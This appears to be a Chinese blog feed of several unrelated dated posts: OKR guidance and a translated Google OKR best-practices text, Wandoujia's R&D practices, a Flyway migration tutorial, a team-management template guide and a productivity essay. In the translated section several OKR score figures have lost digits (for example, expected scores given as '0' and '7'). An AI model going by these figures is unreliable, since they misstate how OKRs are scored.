理想的 OKR 及其相关的优先事项应保留在团队的 OKR 列表中，直到它们完成，并在必要时逐个季度进行。由于缺乏进展而将它们从 OKR 列表中删除是一个错误，因为它掩盖了优先级、资源可用性或对问题/解决方案缺乏理解等持续存在的问题。

推论：如果该团队拥有比当前 OKR 所有者更有效地完成 OKR 的专业知识和能力，那么将一个有抱负的 OKR 移到另一个团队的列表中是件好事。

团队经理应该评估完成他们理想的 OKR 所需的资源，并每季度提出要求，履行他们向企业表达已知需求的职责。然而，管理者不应期望获得所有必需的资源。

OKR落地前准备

落地 OKR，你最需要的是什么？你最需要的是一片适宜 OKR 的土壤，这片土壤在公司层面上来理解，就是“团队文化”。

面对沟通时，是否公开透明？
面对交付时，是否信守承诺？
面对压力时，是否勇于挑战？

团队文化是落地 OKR 的先决条件，你打算在团队中落地 OKR，就一定要逐步建立起公开透明、信守承诺和勇于挑战的团队文化。

你的团队也需要内驱力，只有将团队文化和内驱力二者相互结合，OKR 才能顺利落地。

团队内驱力不强，可以用 OKR 吗？内驱力较强的团队非常适合用 OKR，但并非内驱力不强的团队就不适合使用 OKR。内驱力不强的团队更需要用 OKR 来打造团队文化，从而进一步加速提升团队内驱力。OKR 是领导与员工建立信任的纽带。既然可以通过 OKR 提升团队内驱力，那么也应该可以通过 OKR 去打造团队文化。

在对齐 OKR 时，上级的 KR 是下级的 O 吗？

主目标和子目标之间是相对的，子目标需要向上对齐主目标。换句话说，子目标对主目标有直接支撑作用，或者说，子目标完成后，能推动主目标的完成进度。

子目标并不是下级的 KR，而是下级的 O。不要将上级的 KR 变成下级的 O，这样会降低 OKR 系统的稳定性。

OKR 所提倡的“对齐”指的是在 O 上做“支撑”，下级需要支撑上级的 O，平级之间的 O 也要考虑相互支撑，然而 KR 只是为了支撑所对应的 O。

我们在制定自己的子目标时，需要充分理解上级制定的主目标，将子目标中的 O 与主目标中的 O 进行对齐，这是“向上对齐”；此外，还要考虑横向将自己制定的 O 与同级部门制定的 O 对齐，这是“水平对齐”。

对齐一定是 O 与 O 之间的支撑关系，与 KR 没有任何直接关系。

附一：Google OKR最佳实践

编写有效的 OKR

做得不好/管理不善的 OKR 是在浪费时间，是一种空洞的管理姿态。做得好的 OKR 是一种激励管理工具，可帮助团队明确在日常工作中什么是重要的，什么要优化，以及要做出什么权衡。编写好的 OKR 并不容易，但也并非不可能。请注意以下简单规则：

目标是“Whats”

表达目标和意图；
积极但现实；
必须是有形的、客观的和明确的；对于一个理性的观察者来说，目标是否已经实现应该是显而易见的。
成功实现目标必须为 Google 提供明确的价值。

关键结果是“How”

表达可衡量的里程碑，如果实现，将以对他们的选民有用的方式推进目标；
必须描述结果，而不是活动。如果您的 KR 包含“咨询”、“帮助”、“分析”或“参与”等词，则它们描述的是活动。相反，您需要描述这些活动的最终使用影响：“在 3 月 7 日前发布来自六个 Colossus 单元的平均和尾部延迟测量值”，而不是“评估 Colossus 延迟”；
必须包括完成的证据。这些证据必须可用、可信且易于发现。证据示例包括更改列表、文档链接、注释和已发布的指标报告。

跨团队 OKR

Google 的许多重要项目都需要来自不同群体的贡献。OKR 非常适合致力于这种协调。跨团队的 OKR 应该包括所有必须实质性参与 OKR 的群体，并且承诺每个群体的贡献的 OKR 应该明确出现在每个此类群体的 OKR 中。例如，如果广告开发和广告 SRE 和网络部署必须交付以支持新的广告服务，那么所有三个团队都应该有 OKR，描述他们交付项目部分的承诺。

承诺与理想的 OKR

OKR 有两种变体，区分它们很重要：

承诺是我们同意将实现的 OKR，我们将愿意调整时间表和资源以确保它们得以交付。承诺的 OKR 的预期得分为0；低于 1.0 的分数需要解释，因为它表明计划和/或执行中存在错误。
相比之下，有抱负的 OKR 表达了我们希望世界的样子，即使我们不清楚如何到达那里和/或交付 OKR 所需的资源。理想型 OKR 的预期平均得分为7，方差很大。

经典的 OKR 写作错误和陷阱

陷阱 #1：未能区分承诺的和有抱负的 OKR

将承诺的 OKR 标记为有抱负会但增加失败的机会。团队可能不会认真对待它，也可能不会改变他们的其他优先事项以专注于交付 OKR。
另一方面，无法实现 OKR 目标将在团队中产生防御性。

陷阱 #2：一切照旧的 OKR

OKR 通常主要基于团队认为在不改变他们目前正在做的任何事情的情况下可以实现的目标，而不是团队或其客户真正想要的。

陷阱 #3：胆怯的 OKR

有抱负的 OKR 通常从当前状态开始，并有效地问：“如果我们有额外的员工并且有点幸运，我们能做什么？”，另一种更好的方法是这样开始：“如果我们摆脱了大多数限制，几年后我（或我的客户）的世界会是什么样子？”。根据定义，当首次制定 OKR 时，您不会知道如何达到这种状态——这就是为什么它是一个有抱负的 OKR。但是，如果不了解和阐明所需的最终状态，您就无法保证您将无法实现它。
试金石：如果您问客户他们真正想要什么，您的理想目标是否达到或超过了他们的要求？

陷阱 #4：故意降低表现

一个团队承诺的 OKR 应该消耗大部分但不是全部可用资源。他们承诺的 + 有抱负的 OKR 消耗的资源应该比他们的可用资源多一些。（否则他们实际上是在提交。）
无需团队的所有人数/资本即可满足所有 OKR 的团队。.. 假设要么囤积资源，要么不推动他们的团队，或两者兼而有之。这是高级管理层将员工人数和其他资源重新分配给能够
更有效利用它们的团队的提示。

陷阱 #5：低价值目标（又名“谁在乎？”OKR）。

OKR 必须承诺明确的业务价值——否则，没有理由花费资源来做这些。低价值目标 (LVO) 是指即使目标以 1.0 完成，也没有人会注意到或关心的目标。

一个经典（且诱人）的 LVO 示例：“将任务 CPU 利用率提高 3%。”此目标本身并不能直接帮助用户或 Google。然而，（可能相关的）目标是“在不改变质量/延迟的情况下将服务峰值查询所需的核心数量减少 3%。. . 并将由此产生的多余内核返回到免费池中”具有明显的经济价值。这是一个更高的目标。
这是一个试金石：OKR 能否在不提供直接最终用户或经济利益的情况下在合理情况下获得0？如果是这样，那么需要重新编写 OKR 。”

陷阱 #6：KR 不足以实现 O。

OKR 分为预期结果（目标）和实现该结果所需的可衡量步骤（关键结果）。编写 KR 时，所有关键结果的得分为0，目标得分为 1.0，这一点至关重要。
一个常见的错误是编写必要但不足以完成目标的关键结果。这个错误很诱人，因为它让团队避免与“硬”关键结果所需的困难（资源/优先级/风险）正面交锋。
这个陷阱特别有害，因为它会延迟发现实现目标需要的资源，导致目标无法按计划完成。
试金石：是否有可能在所有关键结果上都得0 分，但仍然没有达到目标的意图？如果是这样，添加或重新处理关键结果，直到它们成功完成才能保证目标也成功完成。

附二、豌豆荚的高效研发体系

选方向（立项–定方向）

愿景：一句话表达清楚要做什么；
分析市场机会和趋势，决定当前策略；
确定目标用户的特征和核心需求；
现存的解决方案和各自的优劣势；
该项目对公司的利益点；如果不做该项目，哪些竞争对手会做，对竞争对手的利益点；
需要哪些技术的支持和驱动，哪些技术是公司的弱项；
项目的紧急程度，是否需要快速推进；
发布策略；
核心衡量指标，用来衡量成功的指标。

定目标（OKR 体系–定目标）

OKR 体系（Objectives& Key Results，目标与关键成果）

OKR 首先是沟通工具。公司共有 300 多人，每个人都要写 OKR。为了便于沟通，所有这些OKR都会放在一个文档里。任何员工都可以看到 CEO 的这个季度最重要的目标是什么，HR 团队这个季度的目标是什么。
OKR是努力的方向和目标。OKR代表你到底要去哪里，而不是你要去的地方具体在哪里。
OKR必须可量化。比如健身时设定锻炼目标，如果只是定义成「我们要努力提高身体素质」，肯定不是一个好的 OKR，因为无法衡量，好的OKR是「今年的跑步时间较去年增加一倍」。
目标必须一致。制定者和执行者目标一致、团队和个人的目标一致。首先，制定公司的OKR；其次，每个团队定自己的 OKR；第三，每个工程师或设计师写各自的OKR。这三步各自独立完成，然后对照协调这三者的OKR。在豌豆荚，OKR跟个人绩效没有关系，因为OKR 系统的结果和每个人并不直接挂钩。
月度/季度会议Review。通过月度会议Review ，时时跟进OKR：在月度会议上需要确定如何去达到目标，是一个帮助达到目标的过程。通过季度会议 Review ，及时调整OKR：互联网的变化非常快，所以豌豆荚每季度有一个OKR 的 review，调整的原则是目标（Objectives）不变，只允许调整关键成果（Key Results）。

控进度（项目管理–控进度）

任务/进度勤同步。整个公司所有人的 calender，包括会议、要做的事情、项目的时间节点都需要及时同步。在整个战略布局上，如果某个项目工期非常紧，就必须进行更多的沟通，确保每一个环节都没有问题。
站立会议 (Daily Sync)。每天进行站立会议，一般控制在十分钟之内，每个人说明自己今天要做的工作，需要什么帮助，有谁可以帮忙，可以更有效的调节资源和公关。
多方位沟通（Google Docs / Gmail / Hangouts）。对非紧急的事情，两个团队或者是两个人一起讨论所有的设计。Hangouts用于做快速响应。
周会（Weekly Report）。每周总结。豌豆荚的团队产品经理要做周报，汇报这周的工作、发布、取得效果以及数据。
数据系统。MUCE 是豌豆荚的数据系统，上面有全公司所有的产品数据和运营数据。MUCE 的数据能够用来验证产品的假设、方向等

带团队（人员管理–带团队）

Re-Organization& 换组。公司鼓励员工换组，每个人都有机会到喜爱的团队做更有趣的事情。只要在原团队的绩效合格，每季度都可申请换团队或换工作内容。员工的绩效不与 OKR 挂钩，公司鼓励员工挑战难度、超越优秀，低 Level 的事情做不到优秀会被惩罚，做事不及格也会被惩罚。
One on One。在带人方面， One on One 非常重要。One on One 指的是每个团队的 manager 需要定期（最佳间隔是每周一次）与自己团队中的每个成员进行一对一讨论或者对话。在豌豆荚，manager 首先是一个教练，应该帮助自己团队的成员成长。通过 One on One，manager 需要了解每个团队成员现阶段的状态和遭遇的困扰，分享职业规划，帮助他们正确地处理问题，更好地实现个人成长。
个人 OKR 和 Performance 体系。每个员工在每个季度初需要确定自己本季度的 OKR，在一个季度结束后需要根据自己这个季度的工作完成情况给 OKR 打分。每半年公司会进行一次 Performance Review，主要是 review 员工过去半年的绩效，并根据 Performance Review 的结果变更 Job Ladder（业务职级）和薪酬。值得一提的是，在豌豆荚，所有的个人Performance Review 的成就内容及级别都是全公司共享公开的。这个对于很多公司来说是不可想象的，豌豆荚为什么要这么做？因为一方面对于豌豆荚来说可以做到更为公平和透明，另一方面也给每位豌豆提供了更好学习和成长自己的样本，激励大家在产品研发中更高质量的挑战和要求自己。

排干扰（兴趣管理–排干扰）

激发兴趣。HackDay，是豌豆荚一个特殊的节日，开始于2010年，类似黑客马拉松。通常在春节假期回来的那一周，产品设计师和工程师们 3-5 人组成一队，在连续48小时的时间里，充分展现工程团队的创意和想像力，完成一些比日常开发更 geek、更有趣的东西。
控制兴趣。PolishWeek，让公司慢下来，对已有产品的细节进行精细化的过程。在大量开发和新产品上线的过程中，我们会担心因为走得太快而对产品的细节关注不够。在连续3个工作周后，第4周通常是 PolishWeek。在 Polish Week 的这一周，豌豆荚内部不会进行新产品或新功能的开发，而主要是对现有的产品和服务进行打磨，解决一些细节问题和小 bug，譬如产品内一些字体的统一等等。平均每个 Polish Week 会解决产品中各种 Bug 大约 200 个。

参考链接：

flyway

Wed, 30 Mar 2022 10:44:42 CST

是什么

数据库版本管理工具

官网

github

为什么

自己写的SQL忘了在所有环境执行
别人写的SQL我们不能确定是否都在所有环境执行了
有人修改了已经执行过的SQL，期望再次执行
需要新增环境做数据迁移
每次发版需要手动控制先发DB版本，再发布应用版本

怎么做

集成依赖

<dependency>     
    <groupId>org.flywaydb</groupId>     
    <artifactId>flyway-core</artifactId>     
</dependency>

在项目resources中添加目录

1 2	cd 你的目录/resources $ mkdir -p db/migration

在项目配置中添加flyway配置

spring:     
  flyway:     
    enabled: true     
    # 禁止清理数据库表     
    clean-disabled: true     
    # 如果数据库不是空表，需要设置成 true，否则启动报错     
    baseline-on-migrate: true     
    # 与 baseline-on-migrate: true 搭配使用     
    baseline-version: 0

命名规范

示例：

1     
2     
3

V1.1.__description.sql     
       
R__description.sql

prefix：可配置，前缀标识，默认值 V 表示 Versioned，R 表示 Repeatable；

Version：标识版本号，由一个或多个数字构成，数字之间的分隔符可用点.或单下划线_；

separator：分隔符，默认是双下划线；

description：描述信息，文字之间可以用单下划线或空格分隔

suffix：可配置，后续标识，后续标识，默认为 .sql；

Versioned migration 用于版本升级，每个版本都有唯一的版本号并只能 apply 依次。（也就是V开头的）

Repeatable migration 是指可重复加载的 migration，可以重复修改内容使用一旦脚本的 checkksum 有变动，flyway 就会重新应用该脚本，它并不用于版本更新，这类的 migration 总是在 versioned migration 执行之后才被执行（R开头的）

spring配置

flyway:     
  #开启     
  enabled: true     
  #当迁移时发现目标schema非空，而且带有没有元数据的表时，是否自动执行基准迁移，默认false.     
  baseline-on-migrate: true     
  # 检测迁移脚本的路径是否存在，如不存在，则抛出异常     
  check-location: true     
  #sql脚本位置     
  locations: classpath:db/migration     
  #是否允许无序的迁移，默认false     
  out-of-order: false     
  #编码     
  encoding: UTF-8     
       
       
       
# flyway.baseline-description对执行迁移时基准版本的描述.     
# flyway.baseline-on-migrate当迁移时发现目标schema非空，而且带有没有元数据的表时，是否自动执行基准迁移，默认false.     
# flyway.baseline-version开始执行基准迁移时对现有的schema的版本打标签，默认值为1.     
# flyway.check-location检查迁移脚本的位置是否存在，默认false.     
# flyway.clean-on-validation-error当发现校验错误时是否自动调用clean，默认false.     
# flyway.enabled是否开启flywary，默认true.     
# flyway.encoding设置迁移时的编码，默认UTF-8.     
# flyway.ignore-failed-future-migration当读取元数据表时是否忽略错误的迁移，默认false.     
# flyway.init-sqls当初始化好连接时要执行的SQL.     
# flyway.locations迁移脚本的位置，默认db/migration.     
# flyway.out-of-order是否允许无序的迁移，默认false.     
# flyway.password目标数据库的密码.     
# flyway.placeholder-prefix设置每个placeholder的前缀，默认${.     
# flyway.placeholder-replacementplaceholders是否要被替换，默认true.     
# flyway.placeholder-suffix设置每个placeholder的后缀，默认}.     
# flyway.placeholders.[placeholder name]设置placeholder的value     
# flyway.schemas设定需要flywary迁移的schema，大小写敏感，默认为连接默认的schema.     
# flyway.sql-migration-prefix迁移文件的前缀，默认为V.     
# flyway.sql-migration-separator迁移脚本的文件名分隔符，默认__     
# flyway.sql-migration-suffix迁移脚本的后缀，默认为.sql     
# flyway.tableflyway使用的元数据表名，默认为schema_version     
# flyway.target迁移时使用的目标版本，默认为latest version     
# flyway.url迁移时使用的JDBC URL，如果没有指定的话，将使用配置的主数据源     
# flyway.user迁移数据库的用户名     
# flyway.validate-on-migrate迁移时是否校验，默认为true.

坑

坑一：命名SQL文件问题

没有按标准命名，导致执行不成功
坑二：执行失败的文件，再次启动时执行不了，可以删除数据库中 flyway_schema_history表最后一条数据，然后再重启
坑三：云家园装配后不生效，但maven可以生效，目前还在解决中。

竞品对比

nextep(开源)
http://www.nextep-softwares.com/

dbdeploy(开源)
http://dbdeploy.com/

Liquibase(开源)
http://www.liquibase.org/

Post Facto(开源)
http://www.post-facto.org/

下面是red gate公司的商业软件

SQL Source Control (商业软件)
http://www.red-gate.com/products/SQL_Source_Control/index.htm

参考文档

六张表格让你快速搞定新技术团队

Sat, 26 Feb 2022 20:03:58 CST

前言

如果你是一新手管理者，或者你是一个刚升职，从带一个几人的小团队到带几十人的团队，或者你空降到一个新公司做技术管理，都可以看一下这六张表格。

要搞定一个新技术团队，主要是四步：

弄清楚有哪些人；
搞清楚有哪些事；
把人和事关联起来；
确定好目标并执行

前三步中我总结了六个表格来梳理这些结构，在这些结构的基础上我们明确团队的目标，并执行下去，将会有一个不错的结果。

1. 弄清楚有哪些人

弄清楚有哪些人的关键点是人才梯队和人才发展计划的表格，确认哪些会有下一步晋升，哪些可能会走，哪些是有问题的，做好 1v1 沟通，先熟悉起来，了解每个人的工作状态，特别是核心骨干。

1.1 成员信息表

成员信息表能帮助你了解你的团队成员的背景，在职时间等，这些信息可以找 HR 或者之前团队的负责人去了解，或者当面沟通的时候了解等。

序号	部门	职位	职场	职级	姓名	性别	工号	家乡	工作年限	年龄	在职状态	在职时长	出生年份	毕业时间	入职时间	备注
1	研发中心	前端	深圳	T10	张三	男	00134	湖南	8	30	已转正	3	1993	2013	2019-10-01	核心，部门老员工

可以通过透视表的方式使用成员信息表，其可能的用法：

看人才职级占比，是否梯队不合理；
看职场分布，是否多地，沟通成本有多大；
看在职时长，是新人多，还是老人多；
看工作年限，看年轻人多，还是资深的人多；
看职位，各技术工种占比，配比是否合适；
看老家分布，下次出去吃饭点菜心里会有点谱。

1.2 人才梯队表

人才梯队表主要是帮助你理清当前团队的梯队情况，哪些是能带项目的，哪些是只能执行的，以及当有人才流失的时候，哪些同学是可以补位的。

-	前端	后端	移动端	QA
负责人	张三	李四	王五	赵六
第一梯队	-	-	-	-
第二梯队	-	-	-	-

一般人才梯队表如上，也可以有更多级，具体看团队规模，几十人的团队大概三级左右就可以了。如果是一个研发中心，其人才梯队表组成如下：

负责人主要是某一块技术的负责人，是这块的掌控者，不仅要求技术，还要求有较强的管理经验；
第一梯队主要是骨干同学，是负责某一块业务的模块负责人，不仅要求技术，还需要有一些项目管理的经验；
第二梯队主要是偏执行的同学，负责某一块具体的事务。

1.3 人才发展计划表

人才发展计划表主要是识别出团队中成员的当前状态，以及下一步的发展计划。

姓名	当前状态	下一步计划	风险	备注
张三	骨干	职级晋升	后备 leader	-
李四	执行	后备培养	轻微离职倾向	-
王五	待考察	待观察	-	-
赵六	绩效不佳	淘汰	-	-

人才发展计划表主要是了解团队的成员的具体情况，多和老员工去聊聊，工作接触中多观察，并且可以通过下一级的 Leader 了解一线同学的状态，这个过程中可能会有一些信息的过滤，需要批判的接收信息。

1.4 做好沟通

做事之前先做人，做人之前先熟悉。

对于新同学，先认识一下，让对方知道你是怎样的人，以及了解一下对方是怎样的人，背景如何。可以从 HR 或其它渠道拿到简历等信息。

在破冰后可以多聊一下现在手头的工作内容以及将来团队的情况，目标等。沟通过程可以适当的记录一些信息，整理到上面的成员信息表和人才发展计划表中。至少都做一次 1v1 沟通，以及一次全员沟通，全员沟通可以和周例会合到一起。

2. 弄清楚有哪些事

在理清人的同时，也要同时开始了解有哪些事情。

作为技术管理者，多看文档，多看代码，多看表结构。多和原来负责的产品沟通，聊聊天，和原来负责的开发也多勾兑勾兑，在这个过程中把一些信息落成表格。

2.1 业务模块重点问题表

重点问题表主要是提取当前业务的重点问题，并从中找出能早点出成果的破局点。

模块	重点问题	当前状态	当前负责人	解决方案	后续计划	相关文档
核心链路	稳定性问题	梳理中	张三	可用性治理	-	-

从以上的表格中找到能快速解决大家工作中的痛点或者业务痛点的问题，尽量以 ROI 较高的方式处理，打破局面，获得一定的信任，当这种小的成功累积多了，你在团队中的口碑也就建立起来了，后续要做一些大的改变也顺理成章。

2.2 RASCI 矩阵表

RASCI 矩阵表主要是澄清项目组成员权利与责任，明确事项，作为项目管理中必要的沟通工具存在。

项目名称	执行（R）	决策(A)	顾问(C)	通知(I)	支持(S)
订单系统	研发二组	产品组王五	李四	商业化部门	中台/ SRE

有了 RASCI 矩阵的表，我们就可以知道业务边界在哪里，出了问题应该找谁，找谁去决策问题，做好了找谁去汇报或通知。

3. 把人和事关联起来

人和事关联，主要是找到事情的是什么，是团队的什么人在负责什么内容，这里重点要关注模块负责人。

3.1 模块负责人及成员表

业务线	前端	后端	移动端	QA	备注
订单系统	张三	李四	王五（模块负责人）、赵六	-	-

模块负责人及成员表主要是理清具体某个事项是谁在负责，谁在执行。而模块负责人是一块业务的技术负责人，是一个小的技术 Leader ，负责掌控该业务模块，包括人和技术，是各端 Owner 的后备人才池，这个制度是人才梯队的核心制度之一。

模块负责人的主要职责包括：

参与需求规划并评估模块需求所需人力；
与模块成员对齐迭代需求，分配并拆解需求；
识别和管理模块内的需求，及时暴露风险；
对模块负责，推进并协调模块成员解决问题；
迭代完成后回顾模块内的需求；
关注并引导模块成员成长。

4. 明确团队的目标

这里更多是的向上沟通，和产品，老板多做沟通，了解公司整体目标，业务目标，技术目标等，在这些目标的基础上结合当前团队的现状，和团队成员做一定范围内的讨论，一起制定出团队的目标。

在初步确定目标后，和上级沟通团队目标，并达成一致。

5. 清晰目标和持续跟进

达成共识的目标后，将目标分解向下同步，确保大家对于目标能有清晰的认识。

这里我们会用到 OKR 、KPI 等技术，通过周报将 OKR/KPI 和具体的产品需求，技术需求关联起来，将目标，过程需求，过程进展，业务价值通过周报的逻辑持续的跟进起来，反思一周之中我们所做的内容是否向着我们的目标前进。

同时，建立沟通机制，周报机制，周会逻辑等等。

结语

接手新团队不是一个一蹴而就的过程，需要时间，把工作做实，该聊的天要聊到位，该开会的会要开，该喝的酒不能少。就像一个又大又重的飞轮，开始的时候很艰难，努力转动一厘米，两厘米，一段时间后，发现转完了一整圈。飞轮开始转动，不停的努力，飞轮又会转完第二圈。继续沿向一个方向努力，3 圈 …… 4 圈 …… 5 圈 …… 6 圈，轮子开始加速，7 圈 …… 8 圈 …… 9 圈 …… 10 圈 …… 轮子有了动量，已经可以开始自己转动了，再坚持就能很快的飞转了。

最后引用冯唐的九字真言「不着急，不害怕，不要脸」，2022，加油吧！

模板在这：

飞书 Docs Link: https://fgr6cngqqy.feishu.cn/space/sheet/shtcnywzAOBxaeiU5ofJTYNXrGb Password: x1w8

你好，我是潘锦，超过 10 年的研发管理和技术架构经历，出过书，创过业，带过百人团队，也在腾讯，A 股上市公司呆过一些年头，现在在一家 C 轮的公司负责一些技术方面的管理工作。早年做过 NOI 和 ACM，对前端架构、跨端、后端架构、云原生、DevOps 等技术始终保持着浓厚的兴趣，平时喜欢读书、思考，终身学习实践者，欢迎一起交流学习。微信公众号：架构和远方，博客： www.phppan.com

为了效率不应该做的7件事

Sat, 19 Jun 2021 09:39:27 CST

把自己弄得忙忙碌碌，但回头看碌碌无为。无意看到这篇文章，感觉对自己非常有用，记录下来自勉。

设想一下有一个不停工作的小业务员，努力工作并不能帮助他战胜成千上万的竞争对手。 时间是有限的商品。一个企业家最多可以每周7天每天工作24小时，他的竞争对手可以花更多的钱，建立一个更大的团队，花更多的时间在这个项目上。但是为什么有一些小的初创公司完成了大公司不能完成的事情？Facebook花了10亿美元收购了一个只有13名员工的Instagram。Snapchat，一家只有30名员工的年轻初创公司拒绝了莱斯Facebook和Google的收购。他们成功的部分原因是运气，其他主要靠效率。

成功的关键不是努力工作而是聪明的工作。忙与产出有着显著的区别。忙未必就说明有产出。 要想产出，更多的是要管理好你的精力而不是时间。要经营好你的生活。我们需要学会花费最小的精力得到最大的收益。

停止通过加班来增加产出

你有没有想过40小时的工作时间是从哪里来的？每周5 天，每天8小时的工作制是福特在1926年的发现。实验表明，把每天工作时间从 10 小时降至 8 小时，每周工作时间从 6 天降至 5 天后，生产力反而提升了。

1980年由商业圆桌会议发布的《施工项目的加班效应》指出，工作得越多，无论是短期还是长期上来看，你的工作效率和生产力都会下降。当每周工作时间超过60 小时，并持续超过两个月，生产力下降的累积效应将使完工日期推迟，而人数相同但每周只工作40 小时的团队执行同样工作，甚至还会更早完工。

在AlterNet的一篇文章中，Sara Robinson回顾美军执行的一项研究，这项发现“每晚都减少1小时睡眠，持续一周，将导致认知功能退化，等同于喝酒使血液酒精浓度升高至0.10 ”。当个人过于劳累，使其以比平常还要负面的角度看事情，导致普遍地心情低落。比心情更重要的是，其思维往往伴随着减少「主动思考与行动」──包括控制冲动、自我感觉良好、同情他人与情绪智力──的意愿。

维持高程度的生产力，避免让自己过度工作并睡眠充足很重要。下次您思想为何工作缺乏生产力，原因很简单，您是70%的人缺少足够的睡眠的一员。

不要老说“好的”

根据 20/80 原理（帕累托原理），20%的努力创造出80%的结果；但反过来20%的结果消耗了80%的努力。因此我们应该把精力集中在能产出80%结果的事情上，然后放弃其他的事情。如此就能把更多的时间集中在最重要的任务上。我们应该对低产出甚至无结果的任务停止说 “yes”。

这就引出一个问题：我们该对哪些事情说“yes”，对哪些事情说“no”呢？如果想不出哪些事情值得花时间，不妨来个简单的分离测试。跟踪自己所做的一切事情然后尽可能优化。

我们中的大多数往往都说了太多的“yes”，因为这比拒绝要容易得多。没人想当坏人。

2012 年的消费者杂志发表了一项研究，研究人员把 120 人分成了 2 组。一组人训练成说“我不能（I can’t）”，另一组则说“我不（I don’t）”。结果很有趣：告诉自己“我不能吃 X”的学生在 61% 的时间内选择了吃巧克力糖，而告诉自己“我不吃 X”的只在 36% 的时间里抵挡不住诱惑。在说法上作这么简单的一个变化就能显著改善健康食品的选择。所以，下次需要避免说 yes 的时候，直接说“我不”。

另一个避免不必要活动的技巧是 20 秒规则：对于不应该做的事情多给自己 20 秒的时间考虑。降低在你想丢弃的习惯上的能量消耗，提升你想培养的习惯上的能力。我们能降低或消除的越多的能量浪费，越能提高我们积极拥抱变化的能力。

停止什么都事必躬亲，让其他人帮忙

为什么品牌需要用户创建内容。消费者知道他们想要什么，以及他们想要如何让它更好，更甚于任何营销人员。根据Octoly的报告，一支使用者自制影片的观看次数要比品牌自制影片多上十倍。当寻找关于一个特定品牌的资讯，超过半数（51%）的美国人相信使用者自制内容大过于品牌官网（16%）与媒体报导（14%），对营销人员来说，寻求品牌社区的帮忙至关重要。

成为一个伟大的内容创造者，并不是他要创造最好的内容，而是创造一个伟大的社区来帮能产生高质量的内容。

我们必须意识到，在需要的时候可以去寻求帮助，这一点很重要。让做得更好的人接管你的一些工作对你来说更好。这可以让你花更多的时间在自己最重要的任务上。不要把时间浪费在自己解决问题上，让专家帮助你。

很多时候，哪怕朋友不能帮你，他们的陪伴也能让你更有生产力。

在ADHD的治疗中有一种“双重身体”的概念，人们会在有其他人在场的情况下做更多的内容，尽管那些人没有协助或指导，也可以完成更多的工作事项。如果你面临的任务是沉闷或困难的，比如清理你的衣柜或整理您的所有账单，找一个朋友当你的“双重身体”吧。

停止完美主义

Dalhousie University心理学教授Simon Sherry博士Simon Sherry执行一项完美主义与生产力的研究，她指出：我们发现完美主义是绊倒教授的研究生产力的大石头。完美主义倾向越高的教授就越没有效率。

当一位完美主义者有以下问题：

他们在一项花费的时间比任务要求所花费的时间还多。
他们会拖延并等到最佳的时刻。在企业中，如果这是最完美的时刻，就代表已经太迟了。
他们过度聚焦在细节，反而忽略整体。

市场营销人员经常等待最好的时机，如果这样去做，最终会失去机会。 最好时刻就是现在。

停止作重复的事情，并使它自动化

根据一项Tethy Solutions的研究，一个5人团队分别花3%、20%、25%、30%与70%的时间处理相同的事情，导入工作自动化软体两个月后，分别将处理重复事情的时间降至3%、10%、15%、15% 与10%。

你需要为了让自己的工作能够自动化而让自己成为一个程序员。如果你拥有这样的能力或资源是最好的，但并不是必须的。如果你不懂得开发，那就去买一个！

人们时常忘记时间就是金钱，因此经常土法炼钢地处理事情，因为这样比较容易，且不需要花费心力研究。假设您办了一个Instagram 活动，号召网友上传的照片总数只有30 张，您可以手动一张一张处理。但如果总共有从5个不同平台上传的30000张照片与影片时，您就需要一个好的数位管理系统了。如果你不能找到解决方案，你可以雇佣一个专家来帮助你。在你的脑海中始终记得你需要花钱去赚钱，而时间是你最有价值的商品。

停止猜测，并开始用数据支撑决策

如果你可以为搜索引擎进行网站优化，那么你也可以优化你的人生，让它成长并发挥最大的潜能。

不同领域有许多研究可供参考。比方说，你是否知道下午 4 点的时候人最容易分心？这是宾州大学助理教授 Robert Matchock 领导的一项研究。哪怕你找不到需要的数据，进行分离测试也不需要花太多的时间。

要不断问问自己，你打算如何去衡量和优化自己所做的一切事情？

停止工作，并拥有无所事事的时间

大部分的人都没有了解到，当我们专注在某件事上，基本上就像是把自己锁在一个箱子里。很重要的是要每隔一段时间离开工作现场，享受独处的时光。独处时光对大脑与灵魂都有益处，波士顿环球时报的一篇文章：

哈佛研究表明，如果某人相信自己正在独自体验某件事情时，其记忆会更持久更精确。另一项研究表明，一定时间的独处可令人更具同理心。尽管没人会质疑早期过多的孤僻生活是不健康的，但一定时间的独处可令青少年改善情绪提高成绩。

对我们来说，要花时间去思考是很重要的。我们经常发现在我们不是刻意寻找解决方案的时候解决方案会突然出现。

我们不会因为熬夜而更有效率。就像是生命中的每件事情，需要耗费心力。如果您什么都不做只是坐着等，不会有什么改变，所以我们要更了解自己的限制与潜能，并将精力作有效的配置，过一个更成功、更快乐的人生。

原文链接： 7 Things You Need to Stop Doing to Be More Productive

URL Disabler 1.0 免安裝版 - 禁止瀏覽指定網站

Fri, 16 Apr 2021 00:54:00 CST

禁止瀏覽指定網站 - URL Disabler，可以輸入指定的網址讓瀏覽器無法瀏覽該網站，支援Chrome、Firefox、Edge瀏覽器，匯出匯入網址清單、設定軟體開啟密碼、讓瀏覽器無法下載檔案、指定只套用於某個瀏覽器，它不使用修改hosts檔的老方法，所以比較不容易被破解。（阿榮）（下載）官方網站：Sordum.org 軟體性質：免費軟體介面語言：英文系統需求：Windows 10/8.x/7/Vista/XP（32及64位元）關鍵字：URLDisabler, URLDisablerPortable URL Disabler is a Portable (it requires no installation) and freeware to simplify the URL blocking process for Google Chrome , Firefox

低代码开发脚手架 citrus-vuetify

Sun, 10 Jan 2021 23:44:05 CST

项目简介基于SpringBoot 2.3.2 + Mybatis-Plus + SpringSecurity + JWT 的前后分离后台管理系统前端仓库地址：https://github.com/Yiuman/citrus-vuetify LiveDemo 项目特性开箱即用，引入starter依赖后即可启动高效开发，只需要定义实体与库表，入口继承基类的Controller，即可完成基础的增删改查操作常用数据结构的封装与基础的CRUD实现（左右值预遍历树、普通树等）统一的认证入口，方便的安全认证扩展，可实现多种方式...

分布式向量搜索系统 Vearch

Thu, 10 Oct 2019 16:04:26 CST

Vearch 是一个分布式向量搜索系统，可以用来计算向量相似度，或用于机器学习领域，如：图像识别、视频识别或自然语言处理等各个领域。本系统基于 Faiss 实现，提供了快速的向量检索功能。提供类似 Elasticsearch 的 Restful API 可以方便地对数据及表结构进行管理查询等工作。架构

基于MySQL binlog的数据同步中间件 mbinlogmq

Wed, 24 Jul 2019 09:52:29 CST

